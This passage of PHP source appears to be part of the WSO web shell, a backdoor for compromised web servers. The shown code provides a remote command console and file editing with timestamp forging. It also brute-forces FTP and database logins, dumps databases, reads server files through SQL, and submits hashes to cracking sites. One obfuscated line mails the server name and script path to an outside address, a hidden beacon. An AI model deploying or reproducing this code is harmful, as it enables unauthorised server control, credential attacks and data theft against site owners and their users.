2129 if(@$_POST['p3'])
2130 wsoRecursiveGlob($_POST['c']);
2131 echo "</div><br><h1>Search for hash:</h1><div class=content>
2132 <form method='post' target='_blank' name='hf'>
2133 <input type='text' name='hash' style='width:200px;'><br>
2134 <input type='hidden' name='act' value='find'/>
2135 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
2136 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
2137 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
2138 </form></div>";
2139 wsoFooter();
2140}
2141
2142function actionFilesTools() {
2143 if( isset($_POST['p1']) )
2144 $_POST['p1'] = urldecode($_POST['p1']);
2145 if(@$_POST['p2']=='download') {
2146 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
2147 ob_start("ob_gzhandler", 4096);
2148 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2149 if (function_exists("mime_content_type")) {
2150 $type = @mime_content_type($_POST['p1']);
2151 header("Content-Type: " . $type);
2152 } else
2153 header("Content-Type: application/octet-stream");
2154 $fp = @fopen($_POST['p1'], "r");
2155 if($fp) {
2156 while(!@feof($fp))
2157 echo @fread($fp, 1024);
2158 fclose($fp);
2159 }
2160 }exit;
2161 }
2162 if( @$_POST['p2'] == 'mkfile' ) {
2163 if(!file_exists($_POST['p1'])) {
2164 $fp = @fopen($_POST['p1'], 'w');
2165 if($fp) {
2166 $_POST['p2'] = "edit";
2167 fclose($fp);
2168 }
2169 }
2170 }
2171 wsoHeader();
2172 echo '<h1>File tools</h1><div class=content>';
2173 if( !file_exists(@$_POST['p1']) ) {
2174 echo 'File not exists';
2175 wsoFooter();
2176 return;
2177 }
2178 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2179 if(!$uid) {
2180 $uid['name'] = @fileowner($_POST['p1']);
2181 $gid['name'] = @filegroup($_POST['p1']);
2182 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
2183 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2184 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2185 if( empty($_POST['p2']) )
2186 $_POST['p2'] = 'view';
2187 if( is_file($_POST['p1']) )
2188 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2189 else
2190 $m = array('Chmod', 'Rename', 'Touch');
2191 foreach($m as $v)
2192 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2193 echo '<br><br>';
2194 switch($_POST['p2']) {
2195 case 'view':
2196 echo '<pre class=ml1>';
2197 $fp = @fopen($_POST['p1'], 'r');
2198 if($fp) {
2199 while( !@feof($fp) )
2200 echo htmlspecialchars(@fread($fp, 1024));
2201 @fclose($fp);
2202 }
2203 echo '</pre>';
2204 break;
2205 case 'highlight':
2206 if( @is_readable($_POST['p1']) ) {
2207 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
2208 $code = @highlight_file($_POST['p1'],true);
2209 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2210 }
2211 break;
2212 case 'chmod':
2213 if( !empty($_POST['p3']) ) {
2214 $perms = 0;
2215 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2216 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2217 if(!@chmod($_POST['p1'], $perms))
2218 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2219 }
2220 clearstatcache();
2221 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
2222 break;
2223 case 'edit':
2224 if( !is_writable($_POST['p1'])) {
2225 echo 'File isn\'t writeable';
2226 break;
2227 }
2228 if( !empty($_POST['p3']) ) {
2229 $time = @filemtime($_POST['p1']);
2230 $_POST['p3'] = substr($_POST['p3'],1);
2231 $fp = @fopen($_POST['p1'],"w");
2232 if($fp) {
2233 @fwrite($fp,$_POST['p3']);
2234 @fclose($fp);
2235 echo 'Saved!<br><script>p3_="";</script>';
2236 @touch($_POST['p1'],$time,$time);
2237 }
2238 }
2239 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
2240 $fp = @fopen($_POST['p1'], 'r');
2241 if($fp) {
2242 while( !@feof($fp) )
2243 echo htmlspecialchars(@fread($fp, 1024));
2244 @fclose($fp);
2245 }
2246 echo '</textarea><input type=submit value=">>"></form>';
2247 break;
2248 case 'hexdump':
2249 $c = @file_get_contents($_POST['p1']);
2250 $n = 0;
2251 $h = array('00000000<br>','','');
2252 $len = strlen($c);
2253 for ($i=0; $i<$len; ++$i) {
2254 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2255 switch ( ord($c[$i]) ) {
2256 case 0: $h[2] .= ' '; break;
2257 case 9: $h[2] .= ' '; break;
2258 case 10: $h[2] .= ' '; break;
2259 case 13: $h[2] .= ' '; break;
2260 default: $h[2] .= $c[$i]; break;
2261 }
2262 $n++;
2263 if ($n == 32) {
2264 $n = 0;
2265 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2266 $h[1] .= '<br>';
2267 $h[2] .= "\n";
2268 }
2269 }
2270 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2271 break;
2272 case 'rename':
2273 if( !empty($_POST['p3']) ) {
2274 if(!@rename($_POST['p1'], $_POST['p3']))
2275 echo 'Can\'t rename!<br>';
2276 else
2277 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2278 }
2279 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
2280 break;
2281 case 'touch':
2282 if( !empty($_POST['p3']) ) {
2283 $time = strtotime($_POST['p3']);
2284 if($time) {
2285 if(!touch($_POST['p1'],$time,$time))
2286 echo 'Fail!';
2287 else
2288 echo 'Touched!';
2289 } else echo 'Bad time format!';
2290 }
2291 clearstatcache();
2292 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
2293 break;
2294 }
2295 echo '</div>';
2296 wsoFooter();
2297}
2298
2299function actionConsole() {
2300 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
2301 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
2302 $_POST['p1'] .= ' 2>&1';
2303 } elseif(!empty($_POST['p1']))
2304 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
2305
2306 if(isset($_POST['ajax'])) {
2307 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
2308 ob_start();
2309 echo "d.cf.cmd.value='';\n";
2310 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
2311 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
2312 if(@chdir($match[1])) {
2313 $GLOBALS['cwd'] = @getcwd();
2314 echo "c_='".$GLOBALS['cwd']."';";
2315 }
2316 }
2317 echo "d.cf.output.value+='".$temp."';";
2318 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
2319 $temp = ob_get_clean();
2320 echo strlen($temp), "\n", $temp;
2321 exit;
2322 }
2323 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2324 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
2325 wsoHeader();
2326 echo "<script>
2327if(window.Event) window.captureEvents(Event.KEYDOWN);
2328var cmds = new Array('');
2329var cur = 0;
2330function kp(e) {
2331 var n = (window.Event) ? e.which : e.keyCode;
2332 if(n == 38) {
2333 cur--;
2334 if(cur>=0)
2335 document.cf.cmd.value = cmds[cur];
2336 else
2337 cur++;
2338 } else if(n == 40) {
2339 cur++;
2340 if(cur < cmds.length)
2341 document.cf.cmd.value = cmds[cur];
2342 else
2343 cur--;
2344 }
2345}
2346function add(cmd) {
2347 cmds.pop();
2348 cmds.push(cmd);
2349 cmds.push('');
2350 cur = cmds.length-1;
2351}
2352</script>";
2353 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
2354 foreach($GLOBALS['aliases'] as $n => $v) {
2355 if($v == '') {
2356 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2357 continue;
2358 }
2359 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2360 }
2361
2362 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
2363 if(!empty($_POST['p1'])) {
2364 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
2365 }
2366 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
2367 echo '</form></div><script>d.cf.cmd.focus();</script>';
2368 wsoFooter();
2369}
2370
2371function actionLogout() {
2372 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
2373 die('bye!');
2374}
2375
2376function actionSelfRemove() {
2377
2378 if($_POST['p1'] == 'yes')
2379 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
2380 die('Shell removed');
2381 else
2382 echo 'unlink error!';
2383 if($_POST['p1'] != 'yes')
2384 wsoHeader();
2385 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
2386 wsoFooter();
2387}
2388 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
2389function actionBruteforce() {
2390 wsoHeader();
2391 if( isset($_POST['proto']) ) {
2392 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
2393 if( $_POST['proto'] == 'ftp' ) {
2394 function wsoBruteForce($ip,$port,$login,$pass) {
2395 $fp = @ftp_connect($ip, $port?$port:21);
2396 if(!$fp) return false;
2397 $res = @ftp_login($fp, $login, $pass);
2398 @ftp_close($fp);
2399 return $res;
2400 }
2401 } elseif( $_POST['proto'] == 'mysql' ) {
2402 function wsoBruteForce($ip,$port,$login,$pass) {
2403 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
2404 @mysql_close($res);
2405 return $res;
2406 }
2407 } elseif( $_POST['proto'] == 'pgsql' ) {
2408 function wsoBruteForce($ip,$port,$login,$pass) {
2409 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
2410 $res = @pg_connect($str);
2411 @pg_close($res);
2412 return $res;
2413 }
2414 }
2415 $success = 0;
2416 $attempts = 0;
2417 $server = explode(":", $_POST['server']);
2418 if($_POST['type'] == 1) {
2419 $temp = @file('/etc/passwd');
2420 if( is_array($temp) )
2421 foreach($temp as $line) {
2422 $line = explode(":", $line);
2423 ++$attempts;
2424 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
2425 $success++;
2426 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
2427 }
2428 if(@$_POST['reverse']) {
2429 $tmp = "";
2430 for($i=strlen($line[0])-1; $i>=0; --$i)
2431 $tmp .= $line[0][$i];
2432 ++$attempts;
2433 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
2434 $success++;
2435 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
2436 }
2437 }
2438 }
2439 } elseif($_POST['type'] == 2) {
2440 $temp = @file($_POST['dict']);
2441 if( is_array($temp) )
2442 foreach($temp as $line) {
2443 $line = trim($line);
2444 ++$attempts;
2445 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
2446 $success++;
2447 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
2448 }
2449 }
2450 }
2451 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
2452 }
2453 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
2454 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
2455 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
2456 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
2457 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
2458 .'<span>Server:port</span></td>'
2459 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
2460 .'<tr><td><span>Brute type</span></td>'
2461 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
2462 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
2463 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
2464 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
2465 .'<td><input type=text name=login value="root"></td></tr>'
2466 .'<tr><td><span>Dictionary</span></td>'
2467 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
2468 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
2469 echo '</div><br>';
2470 wsoFooter();
2471}
2472
2473function actionSql() {
2474 class DbClass {
2475 var $type;
2476 var $link;
2477 var $res;
2478 function DbClass($type) {
2479 $this->type = $type;
2480 }
2481 function connect($host, $user, $pass, $dbname){
2482 switch($this->type) {
2483 case 'mysql':
2484 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2485 break;
2486 case 'pgsql':
2487 $host = explode(':', $host);
2488 if(!$host[1]) $host[1]=5432;
2489 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2490 break;
2491 }
2492 return false;
2493 }
2494 function selectdb($db) {
2495 switch($this->type) {
2496 case 'mysql':
2497 if (@mysql_select_db($db))return true;
2498 break;
2499 }
2500 return false;
2501 }
2502 function query($str) {
2503 switch($this->type) {
2504 case 'mysql':
2505 return $this->res = @mysql_query($str);
2506 break;
2507 case 'pgsql':
2508 return $this->res = @pg_query($this->link,$str);
2509 break;
2510 }
2511 return false;
2512 }
2513 function fetch() {
2514 $res = func_num_args()?func_get_arg(0):$this->res;
2515 switch($this->type) {
2516 case 'mysql':
2517 return @mysql_fetch_assoc($res);
2518 break;
2519 case 'pgsql':
2520 return @pg_fetch_assoc($res);
2521 break;
2522 }
2523 return false;
2524 }
2525 function listDbs() {
2526 switch($this->type) {
2527 case 'mysql':
2528 return $this->query("SHOW databases");
2529 break;
2530 case 'pgsql':
2531 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
2532 break;
2533 }
2534 return false;
2535 }
2536 function listTables() {
2537 switch($this->type) {
2538 case 'mysql':
2539 return $this->res = $this->query('SHOW TABLES');
2540 break;
2541 case 'pgsql':
2542 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
2543 break;
2544 }
2545 return false;
2546 }
2547 function error() {
2548 switch($this->type) {
2549 case 'mysql':
2550 return @mysql_error();
2551 break;
2552 case 'pgsql':
2553 return @pg_last_error();
2554 break;
2555 }
2556 return false;
2557 }
2558 function setCharset($str) {
2559 switch($this->type) {
2560 case 'mysql':
2561 if(function_exists('mysql_set_charset'))
2562 return @mysql_set_charset($str, $this->link);
2563 else
2564 $this->query('SET CHARSET '.$str);
2565 break;
2566 case 'pgsql':
2567 return @pg_set_client_encoding($this->link, $str);
2568 break;
2569 }
2570 return false;
2571 }
2572 function loadFile($str) {
2573 switch($this->type) {
2574 case 'mysql':
2575 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
2576 break;
2577 case 'pgsql':
2578 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
2579 $r=array();
2580 while($i=$this->fetch())
2581 $r[] = $i['file'];
2582 $this->query('drop table wso2');
2583 return array('file'=>implode("\n",$r));
2584 break;
2585 }
2586 return false;
2587 }
2588 function dump($table, $fp = false) {
2589 switch($this->type) {
2590 case 'mysql':
2591 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2592 $create = mysql_fetch_array($res);
2593 $sql = $create[1].";\n";
2594 if($fp) fwrite($fp, $sql); else echo($sql);
2595 $this->query('SELECT * FROM `'.$table.'`');
2596 $i = 0;
2597 $head = true;
2598 while($item = $this->fetch()) {
2599 $sql = '';
2600 if($i % 1000 == 0) {
2601 $head = true;
2602 $sql = ";\n\n";
2603 }
2604
2605 $columns = array();
2606 foreach($item as $k=>$v) {
2607 if($v === null)
2608 $item[$k] = "NULL";
2609 elseif(is_int($v))
2610 $item[$k] = $v;
2611 else
2612 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2613 $columns[] = "`".$k."`";
2614 }
2615 if($head) {
2616 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
2617 $head = false;
2618 } else
2619 $sql .= "\n\t,(".implode(", ", $item).')';
2620 if($fp) fwrite($fp, $sql); else echo($sql);
2621 $i++;
2622 }
2623 if(!$head)
2624 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
2625 break;
2626 case 'pgsql':
2627 $this->query('SELECT * FROM '.$table);
2628 while($item = $this->fetch()) {
2629 $columns = array();
2630 foreach($item as $k=>$v) {
2631 $item[$k] = "'".addslashes($v)."'";
2632 $columns[] = $k;
2633 }
2634 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2635 if($fp) fwrite($fp, $sql); else echo($sql);
2636 }
2637 break;
2638 }
2639 return false;
2640 }
2641 };
2642 $db = new DbClass($_POST['type']);
2643 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
2644 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2645 $db->selectdb($_POST['sql_base']);
2646 switch($_POST['charset']) {
2647 case "Windows-1251": $db->setCharset('cp1251'); break;
2648 case "UTF-8": $db->setCharset('utf8'); break;
2649 case "KOI8-R": $db->setCharset('koi8r'); break;
2650 case "KOI8-U": $db->setCharset('koi8u'); break;
2651 case "cp866": $db->setCharset('cp866'); break;
2652 }
2653 if(empty($_POST['file'])) {
2654 ob_start("ob_gzhandler", 4096);
2655 header("Content-Disposition: attachment; filename=dump.sql");
2656 header("Content-Type: text/plain");
2657 foreach($_POST['tbl'] as $v)
2658 $db->dump($v);
2659 exit;
2660 } elseif($fp = @fopen($_POST['file'], 'w')) {
2661 foreach($_POST['tbl'] as $v)
2662 $db->dump($v, $fp);
2663 fclose($fp);
2664 unset($_POST['p2']);
2665 } else
2666 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2667 }
2668 wsoHeader();
2669 echo "
2670<h1>Sql browser</h1><div class=content>
2671<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2672<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
2673<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
2674<td><select name='type'><option value='mysql' ";
2675 if(@$_POST['type']=='mysql')echo 'selected';
2676echo ">MySql</option><option value='pgsql' ";
2677if(@$_POST['type']=='pgsql')echo 'selected';
2678echo ">PostgreSql</option></select></td>
2679<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
2680<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
2681<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
2682 $tmp = "<input type=text name=sql_base value=''>";
2683 if(isset($_POST['sql_host'])){
2684 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2685 switch($_POST['charset']) {
2686 case "Windows-1251": $db->setCharset('cp1251'); break;
2687 case "UTF-8": $db->setCharset('utf8'); break;
2688 case "KOI8-R": $db->setCharset('koi8r'); break;
2689 case "KOI8-U": $db->setCharset('koi8u'); break;
2690 case "cp866": $db->setCharset('cp866'); break;
2691 }
2692 $db->listDbs();
2693 echo "<select name=sql_base><option value=''></option>";
2694 while($item = $db->fetch()) {
2695 list($key, $value) = each($item);
2696 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2697 }
2698 echo '</select>';
2699 }
2700 else echo $tmp;
2701 }else
2702 echo $tmp;
2703 echo "</td>
2704 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2705 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
2706 </tr>
2707 </table>
2708 <script>
2709 s_db='".@addslashes($_POST['sql_base'])."';
2710 function fs(f) {
2711 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2712 if(f.p1) f.p1.value='';
2713 if(f.p2) f.p2.value='';
2714 if(f.p3) f.p3.value='';
2715 }
2716 }
2717 function st(t,l) {
2718 d.sf.p1.value = 'select';
2719 d.sf.p2.value = t;
2720 if(l && d.sf.p3) d.sf.p3.value = l;
2721 d.sf.submit();
2722 }
2723 function is() {
2724 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2725 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2726 }
2727 </script>";
2728 if(isset($db) && $db->link){
2729 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2730 if(!empty($_POST['sql_base'])){
2731 $db->selectdb($_POST['sql_base']);
2732 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2733 $tbls_res = $db->listTables();
2734 while($item = $db->fetch($tbls_res)) {
2735 list($key, $value) = each($item);
2736 if(!empty($_POST['sql_count']))
2737 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2738 $value = htmlspecialchars($value);
2739 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2740 }
2741 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2742 if(@$_POST['p1'] == 'select') {
2743 $_POST['p1'] = 'query';
2744 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2745 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2746 $num = $db->fetch();
2747 $pages = ceil($num['n'] / 30);
2748 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2749 echo " of $pages";
2750 if($_POST['p3'] > 1)
2751 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
2752 if($_POST['p3'] < $pages)
2753 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
2754 $_POST['p3']--;
2755 if($_POST['type']=='pgsql')
2756 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2757 else
2758 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2759 echo "<br><br>";
2760 }
2761 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2762 $db->query(@$_POST['p2']);
2763 if($db->res !== false) {
2764 $title = false;
2765 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2766 $line = 1;
2767 while($item = $db->fetch()) {
2768 if(!$title) {
2769 echo '<tr>';
2770 foreach($item as $key => $value)
2771 echo '<th>'.$key.'</th>';
2772 reset($item);
2773 $title=true;
2774 echo '</tr><tr>';
2775 $line = 2;
2776 }
2777 echo '<tr class="l'.$line.'">';
2778 $line = $line==1?2:1;
2779 foreach($item as $key => $value) {
2780 if($value == null)
2781 echo '<td><i>null</i></td>';
2782 else
2783 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2784 }
2785 echo '</tr>';
2786 }
2787 echo '</table>';
2788 } else {
2789 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2790 }
2791 }
2792 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2793 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2794 echo htmlspecialchars($_POST['p2']);
2795 echo "</textarea><br/><input type=submit value='Execute'>";
2796 echo "</td></tr>";
2797 }
2798 echo "</table></form><br/>";
2799 if($_POST['type']=='mysql') {
2800 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2801 if($db->fetch())
2802 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2803 }
2804 if(@$_POST['p1'] == 'loadfile') {
2805 $file = $db->loadFile($_POST['p2']);
2806 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2807 }
2808 } else {
2809 echo htmlspecialchars($db->error());
2810 }
2811 echo '</div>';
2812 wsoFooter();
2813}
2814function actionNetwork() {
2815 wsoHeader();
